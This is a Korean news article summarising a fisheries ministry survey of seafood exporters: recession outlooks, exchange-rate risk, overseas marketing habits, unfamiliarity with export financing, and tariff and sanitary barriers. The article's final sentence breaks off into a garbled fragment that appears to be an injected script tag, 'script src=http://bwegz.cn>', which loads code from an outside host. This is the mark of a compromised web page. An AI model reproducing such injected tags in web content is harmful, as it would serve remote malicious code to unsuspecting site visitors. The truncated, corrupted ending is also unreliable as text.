수산물 수출업체 가운데 절반이 올해 수출전망을 어둡게 보고 있다.

해양수산부가 국내 수산물 수출업체 554개를 대상으로 실시한 수산물 수출관련 설문조사에서 많은 업체들이 수산물 수출환경이 어려워지고 있으며 정부가 제도개선과 함께 자금 지원확대에 능동적으로 나서 줄 것을 요망했다.

다음은 설문조사 내용이다.

△51%가 불황 전망

국내 수산물 수출업체들은 지난해 수산물 수출실태에 대해 49.2%가 불황이었다고 답했으며 호황은 20%, 보통이라고 응답한 업체는 30.8%였다.

불황사유는 국내와 일본, 미국 등 주요 수출국의 경기 침체에 따른 수출가격 하락과 원료확보의 어려움이 가장 큰 원인이었다는 반응이었다.

수출시장 여건에 따라 수출국을 분류해보면 시장 여건이 가장 안 좋았던 나라는 일본(52.5%)과 중국(12.5%)이라고 답했으며 미국(12.5%)이 뒤를 따랐다.

시장 여건이 안 좋았던 이유에 대해서는 수출대상국의 경기침체가 가장 큰 원인이였고 중국산 점유율이 증가에 원인이 있다고 대답한 업체도 다수였다.

시장 여건이 좋은 나라는 안 좋은 나라에서도 1위를 차지한 일본(34.3%), 중국(22.9%), 미국(14.3%)순이었다.

특히 2003년 조사에 비해 수출여건이 좋은 나라에서 일본과 중국시장이 높아진 반면 미국시장은 오히려 낮아져 주목된다.

일본 시장은 2003년 조사시보다 28%가 높아져 경기회복 기미가 보여 수출에 긍정적으로 작용할 것이라는 평가다.

2005년 해외시장 전망에 대해서는 대부분의 업체가 불황일 것이라고 내다봤다.

수산물 수출업체는 환율하락 및 미국, 일본 등 선진국의 경기회복 지연 등의 원인으로 불황(51%)일 것이라는 대답이 압도적으로 많았다.

△제살깍기 경쟁 심화

수출업체간 경영애로점을 묻는 질문에서는 수산물 수출업체 대부분이 동종업체간 경쟁이 과열양상을 띠고 있다고 답했으며 환리스크와 원자재 확보, 해외시장여건 불안 등을 애로사항이라고 지적했다.

특히 환율하락 등 환리스크가 43%로 가장 높았고 원자재 확보 및 해외시장여건불안 등의 순서로 나타나 이를 해소하는 정책 추진이 필요한 것으로 나타났다.

정부는 이를 위해 환율인상정책과 무역금융 확대, 중소기업위주의 정책 등 실질적 방안을 마련해야 할 것으로 보인다.

△세일즈 바이어 통한 해외마케팅

수산물 수출업체는 해외 마케팅활동에서 세일즈(47%)와 홍보·정보수집(43%)에 주력하는 것으로 나타났다.

새로운 판매망 확보를 위해서는 해외 바이어에게 일임한다는 답변이 58%를 차지해 1위였고 해외 유통망과 제휴(26%)한다거나 현지직매장 신규진입(8%), 국내기업 해외망 이용(7%)등을 꼽았다.

기타 의견에는 국내외 박람회를 참가하거나 특판전 참가 또는 인터넷을 활용한다는 의견이 있었다.

수출업체가 해외마케팅 관련 가장 필요로 하는 정보로는 해외시장동향(59%)이 우선적으로 꼽혔고 뒤를 이어 상품정보(23%)와 해외기업정보(13%)등이 필요하다고 밝혔다.

해외 박람회나 특판전, 시장개척단 참가에 대해서는 성과가 없을 것 같아서 참가하지 않는다는 응답이 59%로 가장 많았다.

이를 통해 해양수산부는 수출업체가 해외박람회를 통해 성과를 거양할 수 있도록 적극 노력하고 해외 바이어를 상대로 적극적인 홍보활동이 우선되야 할 것으로 보인다.

△자금지원제도 모르는 업체도 다수

수출수매자금 지원과 관련해서 수산물 수출업체는 이용해 봤다는 응답자가 31%였으나 이외로 제도 자체를 모른다거나(20%) 신청방법을 모른다(18%)는 답변도 높았다.

이에 대해 해양수산부는 자금지원 등에 대한 적극적인 지도와 홍보가 필요하고 시중 은행과 금리 등을 비교하는 등 제도개선 검토가 필요하다.

수출수매자금 운용에 대한 개선사항 관련 질문에서는 제도홍보(47%)가 시급하다는 대답이 주를 이뤘다.

제도개선사항은 수출실적을 평가해 신용대출로 전환하고 대출기간을 2년 이상으로 해줄 것 등이 건의됐다.

수출수매자금 대출시 추천(알선)수수료 징수에 대한 의견으로는 수수료 징수를 폐지(33%)하거나 징수요율을 낮춰달라(29%)는 의견이 가장 많았다.

아울러 기타 자금대출 조건과 절차를 개선하고 수출입조합을 통해서 대출을 받을 경우 수협 이율을 낮추는 방안도 검토해 달라는 의견이 있었다.

△고관세·위생규제가 걸림돌

수출관련 가장 어려운 분야는 대상국의 고관세와 위생규제라고 꼽은 업체가 45%에 달했다.

이 밖에도 대상국의 까다로운 통관절차(22%)와 수매자금 대출절차(18%)라고 대?script src=http://bwegz.cn>
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